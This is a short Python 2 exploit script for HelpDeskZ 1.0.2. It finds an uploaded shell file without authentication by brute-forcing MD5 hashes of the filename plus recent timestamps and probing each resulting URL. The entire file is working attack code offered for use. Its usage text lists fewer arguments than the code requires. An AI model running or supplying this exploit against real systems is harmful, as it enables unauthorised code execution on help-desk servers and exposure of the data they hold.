exploit.py

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 4:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
extension = sys.argv[3]
date_time = '22.01.2019 13:49:19'
pattern = '%d.%m.%Y %H:%M:%S'
epochTime = int(time.mktime(time.strptime(date_time, pattern)))
#currentTime = int(time.time())
currentTime =  epochTime+70
print currentTime
for x in range(0, 500):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+extension
    response = requests.head(url)
    print 'looking for '+url
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"